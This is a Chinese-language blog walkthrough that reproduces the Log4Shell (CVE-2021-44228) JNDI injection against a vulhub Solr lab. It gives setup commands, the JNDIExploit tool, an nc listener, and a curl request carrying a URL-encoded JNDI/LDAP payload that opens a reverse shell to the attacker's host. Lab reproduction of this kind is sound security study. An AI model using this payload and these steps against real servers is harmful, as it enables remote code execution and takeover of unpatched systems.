影响范围:

  • Apache Log4j 2.0-beta9 - 2.14.1

漏洞类型:

JNDI注入

操作系统限制:

配置要求:

开启端口8983和5005

漏洞利用:

命令执行,反弹shell

利用原理:

Log4j支持JNDI协议的Lookup功能,该功能运行开发者在日志中动态插入系统属性(语法格式为${prefix:name}),而通过JNDI,Java查询可以连接外部资源,攻击者在这里用到了LDAP目录服务。攻击者在HTTP Header或URL参数中发送构造的payload:${jndi:ldap://攻击机ip:1389/Exploit},后端处理这个请求时候会把这个payload信息写入日志,Log4j解析payload时,靶机向攻击机请求LDAP资源,攻击机返回恶意代码,靶机执行恶意代码完成命令执行

漏洞复现:

用现成的vulhub来拉取镜像

#下载vulhub源代码
git clone https://github.com/vulhub/vulhub.git
#进入漏洞目录
cd vulhub/log4j/CVE-2021-44228
#拉取镜像
docker-compose up -d

下载工具JNDIExploit

git clone https://github.com/black9/Log4shell_JNDIExploit.git
cd Log4shell_JNDIExploit
#--如果没有unzip,下载命令yum install -y unzip
unzip JNDIExploit.v1.2.zip

使用工具

# 使用 JNDIExploit 启动
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 攻击机ip

开启nc监听

输入攻击请求,成功则返回200

#url编码部分原文为${jndi:ldap://攻击机:1389/Basic/ReverseShell/攻击机/nc监听端口}
curl -i -k "http://靶机ip:8983/solr/admin/cores?test=%24%7Bjndi%3Aldap%3A%2F%2F攻击机ip%3A1389%2FBasic%2FReverseShell%2F攻击机ip%2F监听端口%7D"

JNDIExploit窗口有回显

反弹shell成功连接

文章作者: Johan
本文链接:
版权声明: 本站所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Johan的秘密小窝
CVE Log4j2
喜欢就支持一下吧